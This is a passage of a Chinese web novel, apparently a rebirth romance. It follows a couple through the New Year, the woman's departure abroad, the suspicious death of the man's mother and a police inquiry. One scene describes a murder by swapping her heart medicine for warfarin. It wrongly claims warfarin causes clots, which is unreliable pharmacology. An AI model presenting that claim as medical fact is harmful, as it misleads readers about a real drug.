林语晨看他跟来,猛地转身瞪去,吓得林飞成往后退的时候一个屁股蹲坐地上。
林飞成:“你……”
“我什么我?臭小子,我警告你,你要敢起歪心思,被警察抓了,不怕你爸死缓变极刑吗?”林语晨吓唬他,转身离去。
林飞成抓紧身下的石子,刺得手心发疼才慢慢松手。
他拍了拍手起身,回头看向道路尽头的赵晓琳家,憋着口气回林家村。
楚邵回家就见林飞成在捉弄家里的虎皮猫,眸里划过前世林飞成的所作所为,蹙着眉喊:“飞成,干嘛呢?小心新意骂你。”
林飞成恹恹地松掉猫尾巴,让它逃走,来到楚邵面前:“姐夫,我爸就是赵家村的林大宝的女儿林语晨害进去吧?”
楚邵微愣,笑睨:“你爸犯了事,跟别人没关系。若说有关系那也是赵家村的赵有归……”
“飞成,”林菲儿从外进来,听到半句,喊着,“婶婶喊你呢,快回家。”
林飞成不愿意,在姐姐的怒瞪下不情不愿地离开楚家院子。
然而,他没有走,而是靠在院外墙下,听里面的对话。
林菲儿生气地反问回去:“你什么意思?飞成还小,别跟他说这些。何况,当年不是你……”
“不是我带你离开,当年,你也逃不了。飞成长大了,我不说,他就不会打听?你爸……”楚邵看着门口那只脚尖,轻笑着,“被赵家村的赵有归抓进去,难道是假吗?害你们在外飘两年多,不是赵有归的错?
对了,他家也只有两人,如今剩一个年老体弱的妈在家吧,而你们爸爸呢?”
林菲儿嚅唇看去,逼近说:“我来找你不是为这些吵架。这两天你去干什么?”
“办事。”楚邵看着门外的脚尖消失,转身进堂屋。
林菲儿跟上去:“你是不是去找林语晨?你说啊……”
邵美芬听不下去,出来说:“菲儿啊,阿邵进城办事。”
楚新意撸着虎皮猫,看着秃了一截的猫尾巴,怒气冲冲说:“菲儿姐,这两天你老进县里干什么?”
林菲儿看着帮楚邵的两个女人,气得冷哼了声:“我还不是想帮你哥!一家子不识好人心。”
楚邵看着她跑走,权当什么都发生,回堂屋喝水吸烟。
林彩霞听着外面的动静,轻哼了声:“小叔子是真厉害了。林菲儿姐弟被他死死拿捏,连老婆子和妹妹都向着他。”
*
林语晨缠着林兰香,发现妈妈不骂人,但不说话,好奇问:“妈,你要还生气,骂我两句呗。”
林兰香把晒好的被褥收进去,轻睨过去:“我骂你干什么?你爸说得对,你长大了,又谈恋爱,是个大人。我不能老把你当小孩子似管着,何况,你都要出国,不珍惜这时间还跟你吵架,回头心里难受。”
“妈。”林语晨看向拾掇鞋子的林爸,得了林爸一个笑脸,“我喜欢妈妈管着我。”
林兰香拍了拍她:“快把你的被子收进去。晚上,我给你做饭。”
“嗯嗯。”林语晨开心地应着。
一家人开开心心准备过大年。
大年三十晚,赵有归拿着钱育才给的照片,一张张翻过去:“国际法专业的人拍照还挺好。”
钱育才看他轻松的表情,蹙眉说:“这是楚邵让人寄进局,想在年里搞坏你的名声。”
“先收着吧,等过完年再传播。”赵有归把照片放回信封,递回去,“你收好。”
钱育才:……
“局长,那谭省那边……”
“谭省什么都没说,喝茶时只笑笑。他不会轻易出手,但是出了手怎么个走向,不是他说了算。既然,我已经露过面,他心里也有数。”赵有归拿起排班表扫了眼,“初二就回来。你们还是照顾我了。回家过年吧。”
钱育才收好资料,看到宋景拿文件进来,互相点头后出去。
宋景把资料递给赵有归:“楚邵这两年的发展资料都在这,一些犯法的事被我删掉了。”
“嗯。”赵有归接过后看两眼,塞回文件袋,“过年局里忙,三十晚上就麻烦你值班。”
“保证完成任务。”宋景敬礼,又说,“局长,你要这资料做什么?”
“有人需要它安心。”赵有归想到林语晨,拍了拍宋景的肩头,拿资料出门。
宋景跟上去:“局长,过完年什么时候请我们喝喜酒啊?我妈都和我说了你和林小妹的事。”
赵有归莞尔:“会的,等着吧。”
大年三十的晚上,赵有归开车到家。沈秋霞已经做好饭菜等他回来:“你可总算回来了。这一天,晨晨都来三趟。大宝也喊我们去他家一起分岁。”
赵有归看着她拿出饭菜,知道她肯定没答应,帮着拿菜盛饭。
“大过年,留爸一个人在家不好。”说着看眼墙上的两张相片,一张是奶奶赵白梅,一张是父亲赵祖荣。爷爷去的早,那时候照片还没进县,就没有他的留底照片。
沈秋霞也看眼墙头:“吃饭吧。”
两母子安安静静地吃顿饭,听着门外的炮仗声,说了些话。
沈秋霞还是没忍住问:“晨晨要出国,你和她的事……”
赵有归放下碗筷:“先紧着她出国,我局里事忙,容易不着家。”
“……行吧。你老大不小,自己的事自己管。”沈秋霞没再多说什么,起身收拾碗筷,见赵有归帮忙,又说,“别忙了,去你林叔家走走。没吃完的话,陪他喝一杯,大过年热闹热闹。”
“好。妈。”赵有归应完,回房拿出林语晨买的新衣,“牛仔裤……”想起上一次穿牛仔裤的经历,绷得人浑身难受,感觉像被五花大绑一样。
他拿起放下两次,才无奈地笑了声,拾掇着穿好。
皮夹克和牛仔裤很显气质,穿上后更像街头流氓,不过,赵有归强忍着适应了下,走出门时已经像是街头大佬。
林大宝家里还是蛮热闹,林语晨一个劲说着京城的所见所闻,以及将来去美丽国留学会看到的风景,让林爸和林妈有个想象的空间。
一家三口喝着小酒、果汁,聊得挺高兴。
赵有归喊了声林叔、林姨走进门。林兰香就赶紧起来给他拿碗筷,又问沈嫂子在做什么。
林大宝看他坐在林语晨旁边,笑呵呵:“多好。有归,陪叔喝一杯。”
林语晨欣赏他与以往不同的衣着,笑容更是没有消失过。在桌下轻轻地踢了下他。
赵有归陪林大宝喝了口就侧头看去:“还好吧?”
“嗯。还行。”两人聊着彼此才懂的话。
林语晨满意得给他夹一筷子酥肉,“试试,这是我做的菜。”
赵有归吃一口,点头说:“好吃,很香。”
林兰香和林大宝看着旁若无人的两人,不由笑摇头。
饭后,林大宝让赵有归帮忙点炮仗,大竹炮插在地上,用火柴点燃后冲天就是“嘭——啪——”两声,炸亮一小块天色。
几发炮竹过后,林大宝还想拉着赵有归聊天,“有归,冲天炮的声响像不像当年当兵那会放的炮声,”话没说完,就被林兰香拉去收拾碗筷。
林语晨和赵有归手牵手走在村里,路过赵晓鹤家,听着里面热闹的动静,齐齐笑出声。
两人一直走一直聊,好像有说不完的话,走不完的路。
绕回来的时候,已经快十点多。
林语晨在树荫下拥着他,不紧不慢问:“明天还在家吗?”
“嗯。初二早上走。那天得值班。”赵有归抚摸她柔顺的长发,仿佛爱不释手的锦缎,轻笑问,“你呢?”
“定在初八,灵市火车返回学校,由学校安排出发。我是自费出行,但是由学校帮忙安排,有安全保证。”
林语晨的手穿在他热烘烘的皮夹克内:“好舍不得啊。”
“那就别走。”赵有归说笑着。
林语晨在他怀里仰头,啄在他的下颚:“你认真的?”
“假的。”赵有归应道,“做你想做的事,直到你想停下。”
林语晨不依不饶:“说句情话,特好听那种。”
赵有归仰天思索翻:“——我在……山花烂漫时等你归来。”
“噗……哈哈……”林语晨忍不住笑起来,被他低头含住唇瓣,依依不舍间四目流连,似在说:彼此相亲,莫不负忘。
赵有归送她到家后也含笑回家,大年三十,各自在家守岁。
翌日初一,寒潮过后天气回暖,阳光明媚。
林大宝要走亲戚,喊林语晨一起去。
林语晨想了下:“爷奶,外公婆都不在,我就不去看那些人了,都不熟。”不如找赵有归玩,人家也才一天假期。
林兰香在院子里笑:“看吧,你女儿不给你去长脸呢。”
林大宝:“她不去也是我女儿,名声在外,京大的大学生,学成就是老师。以后她还是归国学子,我脸大着呢。”
林兰香哈哈:“但是,你辈分小啊,二叔公叔母都在等你呢。去吧去吧……”
“阿香,真不陪我去啊?”林大宝委屈,女儿就算了,老婆怎么能不一起行动呢?
“不去。女儿在家呢,我得给她做饭。”
林语晨在院子里荡来荡去:“不然,妈你也去吧,我留家里等客人。”
“啥客人。只一个阿姨姑父辈分小,会先来走亲戚,其余几家都是你爸先给人家拜年。”林兰香哎了声,“算了算了,我同你一起去吧。”
“哎。我家阿香最是好。晨晨,你在家啊。”林大宝提着东西和林兰香一起出门。
林语晨原地跳了下,等着赵有归上门。
然而,赵有归是本村人,一个早上走几家亲戚,又留在老亲家吃中饭。
下午后,他又在家里接待亲戚。
宰相门前七品官,便是县里就近的小领导都来给他拜年。
林语晨在门口来回张望,就是不见赵有归的人影,气得回院子里烤火吃烤年糕。
家门口路过的同
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村人看到她都笑嘻嘻招呼:“语晨,在家呢?”
“哎,是啊,走亲戚去啊?”林语晨应答完就气得拨弄两下火盆,又嫌弃自己像是患得患失、等丈夫归来的可怜女人。
赵晓鹤提着东西上门:“语晨,叔和姨在家吗?”
林语晨把他请进门:“这么近还拿什么东西。他们去林家村拜年,还没回来。”
赵晓鹤陪她坐在炉子前,吃烤年糕,又问:“茉莉……有说……来看你吗?”
林语晨睨他:“你和茉莉……”
“我……我们什么都没有……都没有。”赵晓鹤说着低下头,神色看起来又憔悴又委屈,被林语晨一把抓在肩头,“语晨,我……是不是很差劲?”
“不会啊。”林语晨想起他受造纸厂工作打击的事,那件事好劝解,但是,与茉莉感情的事真不好劝。
“你很好啊。现在在灵市有门店,又是国家认证过、有证的鉴定师,还在进修博古专业……晓鹤,你真得很棒。”
“可是这些都不能让我留下茉莉对吗?”赵晓鹤扒拉着炭盆,“你和有归哥在一起吗?”
“啊……”林语晨轻声答应。感情不是财富可以挽留,但是,财富是感情的保证金。
“那你还要出国?不为有归哥想吗?”赵晓鹤真不理解她们的爱情观,有时候他觉得感情是世界上比数学还要难以理解的存在。
“我不知道怎么说。可能我是自私,但是,我觉得时间才是检验一切的真理。”
不论是他能否坚持一直清清白白,还是我的身体到时间是否会病变……先拖着总是对的。
林语晨烦死赵晓鹤,一天的期待换来他的迷茫感情,连带自己的好心情都没了。
“喝酒吗?”
“啊?”赵晓鹤摇头,“不了。越喝越烦,你和茉莉不在那两年,我和有归哥常常喝酒。”
林语晨想起赵有归说,赵晓鹤喝醉时念叨过茉莉是穆桂英。
好奇问:“你们经常在一起喝酒?”
“不算经常啦。之前有一起偷窃案,我店里也遭了殃。市局抓到人后,我就请有归哥吃饭。我们谈起你和晓琳小时候的臭事,之后,我们就偶尔聚一聚,聊聊天。”
赵晓鹤看林语晨盯来的凶巴巴眼神,举手说,“我没说你什么坏话,就说你小时候打架厉害,还抓树枝救我……别人都跑了,就你傻不愣登一心要把我拽上去。”
“还有呢?”林语晨拿起火棍狐疑地看去。
“没了没了……”小时候臭事那么多,哪里说得完。
赵晓鹤也是开店混过两年,知道要保留些话。
林语晨送走赵晓鹤后又无聊了,直到赵有归进院,才蹦起来:“你可总算来了。”
赵有归被烦了大半天的心瞬间明亮,握住她的手:“我想着明天就要走,你或许在等我,就过来看看。”
“亲戚都走了?”
“嗯,差不多吧。”有些甚至不是亲戚,不过是借名义上门。赵有归都不想说那些事,看着火盆里烤成碳的年糕,“糟蹋食物呢?”
“哪有啦。你一来就视察工作呢。”林语晨使起小性子,“我给你烤个麻糍。这个甜,好吃。”
不爱甜食的赵有归哎了声,看她跑进厨房,取出带来的文件袋。
他想了下,还是不让里面的人破坏难得的相聚,进堂屋后把资料放在桌面。
等林语晨过来,同她一起坐在炉子边烤火。
“长痘了。”赵有归摸在她的下巴处,硬硬的,“小痘痘。”
“不会吧?”林语晨皱起脸,摸在下巴处,“哎呀,都怪你,害我烤一天火,一定是上火了。”
赵有归闷笑,抓着她的手:“没事,过两天就好了。”挨了她两小拳,忍不住去揉她头发,“打重点,不然不疼。”
林语晨服了。
两人正打闹,林兰香和林大宝拜完年回来,一进院就看到两人闹一块,忍住不说,但忍不住不笑。
赵有归赶紧起身:“林叔、林姨回来啦。”
“哎,有归,家里亲戚走完啦?”林兰香笑眯眯,又说,“这女儿真是,大过年不晓得给你倒杯茶。”
“没事。晨晨给我烤麻糍呢。”
林大宝看着瘪不小的放碳麻袋:“这不会是烤一天火吧?我烧的碳都烧没了。”
“爸……”林语晨喊了声。
一家人又坐下来烤火吃茶,聊到吃晚饭。
林语晨目送赵有归回去,突然觉得过年太没劲。两天时间就这么稀里糊涂没了。
“晨晨,这是你的东西吗?”林兰香拿起文件袋递去。
林语晨好奇地接过来,打开后取出一张楚邵的照片,立马塞回去:“对,妈,我先回房了。”
同赵有归在一起时完全忘记楚邵这货,一点没想起问他的事。
没想到赵有归不声不响把资料准备好放在家里。
林语晨倒出资料放在书桌上,头一张就是楚邵穿白衬衫的蓝底彩照,其它是楚氏建筑的单位资料,以及近两年承接的业务资料,以及苏市的门店和家庭资料……
待她一一翻完,预估算楚邵现在的资产,气得拍在桌面。
“挪地方竟然让他盘活。这家伙最终还是起势了。背景资料这么干净,一点可以下手的地方都没有啊。”
81. 喊法医
初二清晨,林语晨本想跟赵有归去市里。然而,她初七要离家,舍不得爸妈,还是决定留在家里陪两人。
热热闹闹地过了三天,在家帮林兰香接待客人,成为林爸自豪的吉祥物,并在亲友面前展示一番。
初五日,她和茉莉、芳芳在张天鸿的酒吧碰头,互相倒腾翻回家的见闻。
芳芳说:“我家的亲戚比过去多不少,连大伯和婶婶家也跟着热闹。这两年家里翻新房子,大伯和婶婶家也一样,只是人看着热闹,心里有着说不出的苦。
我一个叔叔还说他家的孩子多,过继一个给大伯和婶婶。
我真是服他们,什么年代,求放过他们吧。”
林语晨颔首:“穷在闹市无人问,富在深山有远亲。你大伯在县里开店,售卖你让人代购回来的商品;爸妈在市里开铺,做得又是快进快出的生意。家里条件这么好,多得是人上门打听消息。”
上一世的林家也是如此。
尽管造纸厂前三年赚得比鸡毛还少,但是耐不住“你家是老板,”多得是人上门找点赚钱的门路。人之常情。
“嗯。”芳芳应说,“茉莉,你家也不少上门的人吧?”
“我家啊,还是那么几个人吧。过完年,我爸去市里接手肥皂厂,八一这边交给我哥管理。如今风向变了,看不惯我哥的钱心文都来跟他称兄道弟。
但是,这些和我都没有关系。我妈让我毕业回家帮大哥,我跟她说有自己的打算。她就不吭声。”茉莉说完,问林语晨,“阿姨和叔叔真舍得你去国外啊?”
“我又不是不回家。”林语晨说道,“初七出门,我去市里住一晚,你们呢?”
“这么快。”芳芳和茉莉异口同声,挽住林语晨的胳膊,“舍不得。”又说,“初七去车站送你。”
“好。咱们干杯,分别是为变成更好的我们,也为将来更好的团聚。”林语晨举杯。
三人聊完小事,再细聊晨芳国际一年内的发展计划,一直到很晚,三人才各自散去。
相隔一条街的招待所里,孙佳人和林菲儿碰了头。
303房,曾经是陆天的专场,也是孙佳人和林菲儿结怨的开端。如今,两人在这里试图冰释前嫌。
林菲儿泯灭烟头,淡笑说:“佳人,你父亲和我父亲是结拜兄弟。照理说,我们亲如姐妹。”
孙佳人冷笑:“你觉得这话说出来骗得过你自己吗?”
林菲儿呵笑:“没错。我一想起这间房里发生的事,就挺恨。”
如果我像林语晨那样清白,楚邵是不是就不会嫌弃我呢?
而始作俑者就是孙佳人。
“前尘旧怨扯不清。我在江源县丢脸,跑路去苏市,如今我攒了钱要回来。你愿意帮我吗?地址你选,场子你开……就像,当年我爸替你爸那样干活。当然,如今法制社会,不讲打打杀杀那套,就干干净净做生意。我出成本,你出人力,老板是我,经理你做。怎么样?”
孙佳人早就看完她一身服装,作为服装厂员工,也打过价格牌。
她身上这些,加起来少说要500多元。
“开店不是一笔小钱。”
林菲儿大笑,笑得放肆又妖娆,从包里取出一张存折递去:“拿着它。如果你卷钱跑路,没事。大不了我找人寻你,又或者再找个人开店。”她把包外露,显示里面各银行的存折,又说,“毕竟,我爸是我爸,而你爸是你爸。”
言外之意,我爸对孙不二忠心,但孙不二卖人的时候照卖不误。
作为女儿的孙佳人不守信用也是理所当然。
孙佳人听出她的嘲讽,不以为意。到孙不二那个级别,做人首先自保。
她看着手里的存折,上面是二十万的存款数字,相当于普通工薪家庭近十年的收入。
拽紧存折,目送林菲儿扬长而去,穿上大衣后出招待所。
心之所至,她走到当年孙不二的宝誉歌舞厅。
前方的路口,三个女人摇摇晃晃地出酒吧,被张天鸿派的人送回去。
孙佳人的目光里滑过一阵犀利的光,与她们背道而驰。
江源县、灵市,曾经是我父亲打下的地方,我会重新把它们拿回来。
此日过后不久,天上人间娱乐会所在灵市开业,总经理是孙佳人。
那时,灵市的天正在悄无声息地变化。
话说眼前。
初六,何方明、陈欢喜约几个面料供应商与芳芳和语晨在灵市碰头,约定在半年内寄给晨芳国际整套的面料样卡和当时技术最好的样衣。
林语晨会在国外先以邮件的方式推销国内面料制品和样衣。
对方若有兴趣,双方会约见、会谈。如果有意向合作,林语晨会邀请何方明和面料商一起赴美丽国洽谈。这也是托了改革开放、政策先行红利的福。
初七,林语晨告别爸妈,简装出发,前往灵市。
林兰香和林大宝一路送她到村口,目送小车消失在道路的尽头。
林飞成慌慌张张地穿过林大宝和林兰香往林家村跑去。
林大宝被带了下,啧了声:“这小子慌慌张张像什么样子,不知道他为什么老往咱们村跑。”
林兰香随即道:“这就是林家村人说的林裕宝的儿子吧?听说晓琳放假在家,给他补习功课呢。”
初七晚,赵有归接到林家村电话,说是母亲在县医院快不行。他什么都来不及交待,往江源县赶去。
已经约好等着他的林语晨空守一个晚上,打去市局办公室、大院单位房,都没有人接电话。
至初八早上,她怀揣满心疑惑前往火车站。
张茉莉和淳于芳、何罗秋匆匆赶来,送她上火车。
张茉莉想说什么,又压住口没说话,只说:“语晨,一路顺风。”
林语晨和她们一一道别,目光时不时看向站台路口。
明明同赵有归约好,他怎么还没来呢?
“茉莉,我拜托你一件事……”
“我知道你要说什么,我哥托我告诉你,别等他了。”茉莉低声说,“他接了重要的任务,来不了。”
林语晨咬紧唇,依依不舍地坐上返回北方的火车。
初七的晚上,赵有归赶到县医院。
赵晓琳哭哭啼啼地说:“有归哥对不起,我发现的时候已经有些晚。阿姨是急性心梗……”
“转院。送省医院去。”赵有归第一个反应就是联系医院叫救护车紧急转送省医院。
县医院的医生也同意,赵莓莓和赵晓琳跟车前往省医院。
医院的医生接到通知,已经等在一旁。然而,经过两个多小时的抢救,沈秋霞依旧没有转好。
医生宣告沈秋霞死亡。
赵有归坐在走廊,不敢进病房,撸着头发,处于崩溃的边缘。
命运究竟是什么玩意?不是可以改变吗?母亲不是在吃养心的药吗?
为什么会这样?
赵晓琳陪他在一旁,轻声说:“有归哥,阿姨临走前惦记语晨姐,要不要喊她来看阿姨最后一面。”
“……”赵有归恍然想起林语晨是初八的火车离开灵市,一颗心如浸冰窟。
如果母亲最终无法逃离死亡的命运。林语晨呢?
——她能摆脱无法生育、癌症、与楚邵纠缠致死的命运吗?
让她离开吧,远离灵市,远离楚邵,做她真正想做的事。
心仿佛裂成几片,一如当年他赶回家时迎接得只有父母的排位。
赵有归仰起头,喉口的堵滚哽着咽下去。
“不用了。她今天的火车前往北方,不日就要出国,让她走吧。”
赵晓琳深深地看着他的背影,摸把流淌不尽的眼泪。
她就是不明白:林语晨为什么要走?不是爱有归哥吗?爱不是就要在一起吗?
停尸房里,赵有归紧紧地握住沈秋霞冰冷的手。
赵莓莓看着在门外哭的侄女,上前说:“晓琳,去劝劝他吧。”
赵晓琳崩溃地说:“呜呜……小姑,我有什么立场劝他?若我早点去找沈阿姨,是不是她就能得救?呜呜呜……小姑。”
赵莓莓拍着她的后背,轻声地安慰着。
赵有归和医生一起盖上沈秋霞的面容。
紧接着,他奔出医院,穿过赶来的宋景和钱育才,一路奔向火车站。
然而,等他到
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火车站门口,那列奔赴北方的火车已经快速驶离。
张茉莉等人出站台,发现他像柱子一样盯着空无火车的轨道,上前说:“有归哥,我没和她说阿姨的事。”
“谢谢。”赵有归轻轻地点头,抹把脸,压下一切酸楚和不舍,再次转回医院。
宋景和钱育才在走廊上发生争执,看到赵有归后立时哑口。
赵有归头也不回穿过他们:“说。”
宋景和钱育才对上眼。
宋景快口说:“沈阿姨的死亡有问题,我的建议是让法医验尸,排除他杀的可能性。这是我在家里勘察时发现的东西。”
“课本?”赵有归打开书目,上面赫然写“林飞成”的名字,“你去……林家村,林裕宝家里,把他带回市局。”
“是。”宋景快步跑走。
钱育才看着走来走去的赵有归,蹙眉说:“我问过村民,赵晓琳在帮林飞成补课,应该路过你家。当时,有村民看到他慌慌张张地跑走。”
赵晓琳接到林大宝和林兰香,一起赶过来。
“有归哥,大宝叔和兰香阿姨到了。”
“有归,”林家夫妇看着一脸颓色的赵有归,有心劝两句又不知道说什么好。
赵有归直接问:“林叔,初七早上,你看到林飞成?”
“啊!我和你姨送语晨出门,这小子从我身边匆匆忙忙跑过,差点把我带倒地。当时,大概是九点左右。”
赵晓琳听着谈话,似乎和林飞成有关,赶紧说:“有归哥,你怀疑林飞成?不可能。初六晚上,他住在我哥的房间,初七早上我给他端早饭,九点左右送他出门。他哪有时间……时间……”
“……”赵有归深深地看着赵晓琳,不知道说什么好。
一拳砸在墙面,气自己优柔寡断,应该早点跟她说不要同林飞成接触。
前世,林飞成有杀害何罗秋的嫌疑。
只是,市局罗恒因为孙不二与林裕宝的关系包庇林飞成,调查组一直没有证据证明何罗秋的死与林飞成有关。
如今,何罗秋在灵市管晨芳国际,改变前世的轨迹。
但是,林飞成的人生也相应改变,被楚邵收留教养,又和赵晓琳有牵扯。
“有归哥,我……是不是做错?但是,林飞成和他父亲不一样,他是个用功的好孩子。”赵晓琳在寒假里除实习得那几天,都和林飞成在一起学习,自认已经非常了解这个孩子。
赵有归克制着看去,只说:“离他远点。”不再多说其余的话,对钱育才说:“喊法医,排除他杀可能性。”
钱育才张口无声,喊法医意味遗体被解剖,这是对死者的伤害。
所以,他和宋景争执,不想告诉赵有归此事。
然而,赵有归的魄力和毅力、乃至决心让他做出这个惊人的决定。
钱育才想说:你这么做一定会被人议论,加上耿浩那些照片也会影响你的作风问题……
但是,他知道劝不住赵有归。
事情已经在往一个不可挽回、难以控制,对赵有归非常不利的方向奔去。
“是。赵局长!”钱育才克制着难过的情感,正正经经地再喊了一声。
正月过完,他预感灵市的天要变了。
林大宝揽住赵有归的肩头:“有归,叔和你姨在这。若要作证,你喊叔。沈嫂子的后世,叔和姨帮你一起操持。”
“谢谢叔、姨。”赵有归抹在眼角,控制着情绪。
前世,同样的死亡,林大宝和林兰香也帮大忙。
林兰香说不出的难过,沈嫂子最想看到语晨和有归结婚,结果最终没能等来。
“有归,姨对不起你。语晨刚走,人还在火车上,等她到学校,咱喊她回来吧。”
“是啊。”林大宝应说,“让语晨见嫂子最后一面吧。她和嫂子也亲。”
赵有归的心哽在喉口,一天一夜没睡的眼睛已经布满血丝。
“不用了,叔。咱们让她安心地出国,这件事就别告诉她。语晨给我妈买新衣,她还没穿过。林姨,等她从法医室出来,拜托你帮她换上吧。”
“好……呜呜……”林兰香靠在林大宝的身上,哀恸不止。
82. 远洋信
市局的调查室里,林飞成胆怯地看着眼睛通红的审讯人员,大喊大叫:“你别逼我。我没有害她,只是路过发现她摔在地上,吓掉了书本。我太害怕就跑走了。我根本没杀人!我也怕杀人,我怕连累我爸死缓变极刑,我不能害她!”
宋景都被气笑,你作孽还能连累牢里的爸?
双手抵在桌面,克制着情感,沉声问:“你和赵晓琳在一起,她是学医的人,你看到有人倒地不救还跑?你觉得说得过去吗?近朱者赤近墨者黑,在你身上完全没用啊!”
林飞成微怔,想着初七晚上楚邵交待的话,咽口吐沫、耿直脖子。
“赵有归害我爸爸被抓坐牢,我为什么救他妈?你这么说就是道德绑架。我不上去踩她两脚都是大度,我没错!我只是见死不救,但我没有伤害她一丁点。你们不是警察吗?你们去查啊。我没害人就是没害人!我也不能连累我爸!”
尽管他不信林语晨吓唬人的话,但是他也真怕连累牢狱里的林裕宝。
宋景气得拍桌子,这孩子跟汤圆一样滑溜,问一天多都问不出第二个答案。
道德绑架?这要是没人教过他说话,宋景的名字就倒过来写!
林飞成甚至冷静地反问:“如果我真得会杀人,我会把书本掉在院子里这么显眼的地方吗?上面还有我的名字。你们是太小瞧我还是想找个冤枉鬼?”
钱育才在审讯室隔壁,朝赵有归说:“这孩子被警察逼问,一口咬定只是路过时发现人倒地,跑的时候吓掉书本。若他一直这么回复,多半是事实!而且,林飞成一点不怕别人知道他的父亲是林裕宝,想找你的麻烦。这更说明他有想,但是没做过!”
赵有归拉上审讯室的帘子:“我妈年前还做一次检查,医生说状态还可以,才让她回家准备过年。急性心梗肯定有诱因。林飞成吓得掉了书本,就证明他碰过我妈。”
但是,林飞成的年纪不大,心理却异常成熟,加上时隔一天一夜,早有人在背后教他怎么做。
“他还符合未成年保护法,让宋景悠着点。我们等法医的消息。”
*
楚邵叫律师出面帮林飞成,又让林菲儿守在市局,务必等弟弟出来。
他则在外面,等市局那边的动静,再便宜行事。
然则,他待在卷毛找的地方,慢条斯理地喝着酒。
卷毛把一瓶药交给楚邵:“楚哥,就是这个药。完全争对他妈的病症,就是法医检查都是意外而死。”
上面写着维拉帕米等字样,调换的药品是华法林钠,属于进口药,可以加速血液流速,导致血栓,继而就是沈秋霞的症状,心梗而死。
“放心,哥。药物进入身体,肯定被消化,查不出来。我手脚很干净。”
“扔了。”楚邵睨他,拿出一叠钱给卷毛,“好好做。以后灵市这边的工程,我会考虑交给你管理。”
“多谢楚哥。”卷毛拿好钱,将瓶子里的药兑入酒水,再倒入下水道。
几天过后,法医从沈秋霞的血液里检测到华法林钠,与她本人一直在服用的护心药成分不同。
证明有人调换沈秋霞的常用药,导致血栓堵塞心脏,引发心梗死亡,属于谋杀。
赵有归没有直接立案,只让市局同志先极力调查,继而排除林飞成换药杀人的可能。
因为林飞成的行动轨迹有迹可循,而赵晓琳家里也不曾储备这类药物供他获得。
林飞成没有拿到进口药的渠道。他的存在是个烟雾弹!
宋景查几天,结果是这样,很不服气:“局长,咱们就这么把这小子放了?”
“华法林钠属于进口西药,除大医院外,药店和小医院都不储备该药。我们找不到药瓶,也没有找到药物来源,甚至没有证据证明是林飞成调换我妈的药。
现场又很干净,除我、我妈、赵晓琳,没有第四人的指纹。”
赵有归也是憋了几天的怒火,至今天压下去。因为,他已经猜到谋杀案的背后不仅是个人的报复行为,且为更大的利益。
他握拳说,“我妈的案子一直没有立案,你把原稿资料准备好放在档案室深处,令备一份作为附件存在明处。对外就说我妈是意外死亡。先把林飞成放了吧。”
宋景还不明白这么做的深意,但是钱育才懂了。
他拉着宋景按赵有归的计划安排下去。
林飞成被放后,赵有归同亲戚和林家夫妇一起安排沈秋霞的葬礼。
与此同时,沈秋霞出殡那天,一无所知的林语晨和一帮留学学子坐上前往美丽国的飞机。
在这些人里,林语晨属于那种死皮赖脸、自费前去镀金的留学生,在大多数同学靠本身学业、靠人脉实现留学的学子眼里,她是次一级的学生。
因而,她交不到什么朋友。坐在太平洋上空的飞机里,孤单就像一望无际的大海般侵蚀而来,让人缩在椅子里不禁想要环抱自身。
她的脑海里想着前一天接到赵晓琳的电话。
那通电话实在让人意外,用得是以前林语晨拨打村委时留下的电话回拨。
赵晓琳在电话里问:“语晨姐,你真得不能为有归哥留下吗?你知不知道我很嫉妒你,你回来吧。”
电话那头的林语晨默了默,只说:“对不起,晓琳。我有自己的路要走。”
“呜呜呜……”赵晓琳多想把赵有归的现状告诉她,可是她知道这样做只会让有归哥难做,而林语晨不愿意为赵有归留下,已经说明她离开的决心。
“语晨姐,我真嫉妒你。”
林语晨不明白赵晓琳打这通电话的用意,只当她是为赵有归鸣不平。如果她定下的两年里,赵有归守不住心,她依旧会含笑祝福他。
只是,但凡这样想,林语晨就有说不出的苦涩和复杂。
她假装大度说:“晓琳,嫉妒一个人不可耻,喜欢一个人,守住自己的心,不去做他厌恶的事,更值得骄傲。我喜欢他是我的事,他喜欢我愿意等我是他的事,我们彼此不做让对方讨厌的事。”
“语晨姐,有归哥喜欢你,你也喜欢他,为什么不能为他留下来?他那么好的男人,不值得你为他留下吗?”赵晓琳最后再问一遍。
林语晨暗吸口气,冷静地说:“晓琳,如果他发现有更喜欢的人。我会祝福他。”
赵晓琳听着挂断的电话,喃喃:“我不明白。语晨姐,你为什么不留下和他一起共渡难关?你会后悔的!呜呜……”
出发前夜,林语晨寄出一封信,那封关于彼此秘密的信。她不知道赵有归收到后是什么反应,但是,两年时间足以让对方彻底明白这份感情值不值得继续。
沈秋霞下葬后,赵有归一直待在赵家村的老房子。
这日,宋景拿了那封信找过来:“这是林语晨寄给你的信,昨天刚到。局长,那些照片在省政和局里传开。上面召开会议,争对你的作风问题商议处理办法。”
赵有归一脸胡子拉碴接过信,点头说:“谢谢。”
省政、省厅那边的风云,他早已有所预料。
宋景看不下去,坐他旁边:“有归哥,我一直想怎么喊你。”
赵有归笑笑,拍了拍他的肩膀:“我没事,等他们开完会,通知下来,我再回市局处理吧。”
“大家都在等你回去。你真要坐以待毙吗?这不是你的风格。”宋景清隽的脸上带出难过、不舍,“老钱和我说了你的打算,咱们不用这种方式行吗?我们就直接把资料给苏市那边……”
“这不单是工作上的问题,正如他们传得一样,涉及到我的作风问题。你回去吧,我还要看信。”赵有归红肿着眼笑笑,转身入里屋。
宋景长叹了声,抹去眼角的湿润,转去林大宝家。他有很多话想说,最终没有说那句“林小妹害得赵局长不浅”,只交待林家夫妇帮忙照看赵有归。
林大宝和林兰香自是答应。
赵有归抚摸信封上精瘦有神的字,拆开信。
敬爱的有归哥:
你收到这封信时,飞机早已起飞。我想你在读它时,我已经在大洋彼岸,地球的另一边。此时的你我彼此相望,却无法相见。
你相信这封信是在八月底我和安国学长分手以后写吗?
回到学校后我再次读它,删删减减,又重新写一封。
我想告诉你,给你写信真得会变成习惯。如果,你也能养成这种爱好就好了。那么,即使我们分别,也有桥梁牵系彼此。
又或者,你的爱好是帮我剪贴报本。
第一次收到它们时,我真得又想哭又想笑。幻想你贴报本时的小心翼翼,认真仔细的神态。
每每拿着它们,我都会心一笑。这么严肃认真的哥哥有这么可爱一面啊,真得好好好喜欢哦。
所以,远在地球另一边,我也要带着它们一起旅行,如你在身边。
抱歉,有归哥,现在得我不能嫁给你。
或许,应该说:我不愿嫁人。
而原因,也许你明白,又或许不明白。
在写下这行字时,那个未来的我已经与你融为一体,却又狡猾地拒绝你的求婚。
这封信想向你坦白一个秘密。
